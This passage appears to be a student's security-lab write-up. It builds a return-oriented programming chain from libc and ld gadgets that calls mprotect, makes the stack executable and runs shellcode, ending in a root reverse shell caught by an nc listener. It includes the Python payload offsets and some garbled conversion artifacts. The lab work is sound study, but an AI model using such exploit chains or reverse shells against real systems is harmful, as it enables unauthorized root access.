The value of ebx should be 0xbffdefff now (no zero bytes).

libc: 0x0011f836: dec eax; ret;

```
(libc.so.6/ELF/x86)> search dec eax; ret;
[INFO] Searching for gadgets: dec eax; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0011f836: dec eax; ret;
```

The value of eax should be 0x7d now.

libc: 0x00003960: inc ebx; ret;

```
0x00003960: inc ebx; ret;
(libc.so.6/ELF/x86)>
```

The value of ebx should be 0xbffdf000 now.

libc: 0x000b5467: pop ecx; ret;

```
(libc.so.6/ELF/x86)> search pop ecx; ret;
[INFO] Searching for gadgets: pop ecx; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0000b5467: pop ecx; ret;
```

The value of ecx should be 0x01010101 now (no zero bytes).

ld: 0x00000a00: int 0x80; ret;

```
(ld-2.23.so/ELF/x86)> search int 0x80; ret;
[INFO] Searching for gadgets: int 0x80; ret;
[INFO] File: /lib/i386-linux-gnu/ld-2.23.so
0x000000a00: int 0x80; ret;
```

The shellcode is placed at the beginning of the buffer.

buffer address: 0xbfffe702 (I rebooted the system, so the address of buffer is changed, but offset won't change)

```
root@kaiyu:/home/kaiyu/Lab06# ./prog chain_3
buffer is at<mark>:0xbfffe702</mark>
Segmentation fault (core dumped)
```

The order of the gadgets:

```
# Calculate the offset between buffer address and address of return address
offset = return_addr_location - buffer_addr
gadgets1 = 0x000e8c12 + libc addr
gadgets2 = 0x00025c65 + libc addr
gadgets3 = 0x000b1b80 + libc addr
stack_addr = 0xbffdefff
gadgets4 = 0x0011f836 + libc addr
gadgets5 = 0x00003960 + libc_addr
gadgets6 = 0x000b5467 + libc_addr
# dummy number for size parameter of mprotect, no zero bytes, larger than 0x21000
dummy num = 0x01010101
gadgets7 = 0x00000a00 + ld_addr
# new buffer address (I reboot the system and the address of buffer is changed)
new buffer addr = 0xbfffe702
content[offset:offset+4] = (gadgets1).to bytes(4,byteorder='little')
content[offset+4:offset+32] = (gadgets2).to_bytes(4,byteorder='little') * 7
content[offset+32:offset+36] = (gadgets3).to_bytes(4,byteorder='little')
content[offset+36:offset+40] = (stack_addr).to_bytes(4,byteorder='little')
content[offset+40:offset+44] = (gadgets4).to_bytes(4,byteorder='little')
content[offset+44:offset+48] = (gadgets5).to_bytes(4,byteorder='little')
content[offset+48:offset+52] = (gadgets6).to_bytes(4,byteorder='little')
content[offset+52:offset+56] = (dummy num).to bytes(4,byteorder='little')
content[offset+56:offset+60] = (gadgets7).to_bytes(4,byteorder='little')
content[offset+60:offset+64] = (new buffer addr).to bytes(4,byteorder='little')
```

Start a listener using command nc -lvp 1337:

```
kaiyu@kaiyu:~$ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
```

Run the program with the payload:

```
root@kaiyu:/home/kaiyu/Lab06# vim build_payload_chain_3.py
root@kaiyu:/home/kaiyu/Lab06# python build_payload_chain_3.py
root@kaiyu:/home/kaiyu/Lab06# ./prog chain_3
buffer is at:0xbfffe702
```

We have a reverse shell now:

```
kaiyu@kaiyu:~$ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [127.0.0.1] port 1337 [tcp/*] accepted (family 2, sport 59846)
whoami
root
pwd
/home/kaiyu/Lab06
ls
build_payload_chain_1.py
build_payload_chain_2.py
build_payload_chain_3.py
chain_1
chain_2
chain_3
dummy_payload
prog
prog.c
```

Before syscall mprotect: the stack is not executable:

After setting the value of the registers, before system call:

```
dified register
                                  | Heap | Stack | String ]
 Legend:
        0x7d
                    → 0x00000000
        0x1010101
        0x7
        0x90909090
                   → 0x001b2db0
→ 0x001b2db0
        0xb7fbb000
        0xb7fbb000
eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identifica
tion]
cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
xbfffe884 +0x0000: 0x
                         lba00 → <_dl_sysinfo_int80+0> int 0x80 ← $esp
```

After system call, the stack is executable now: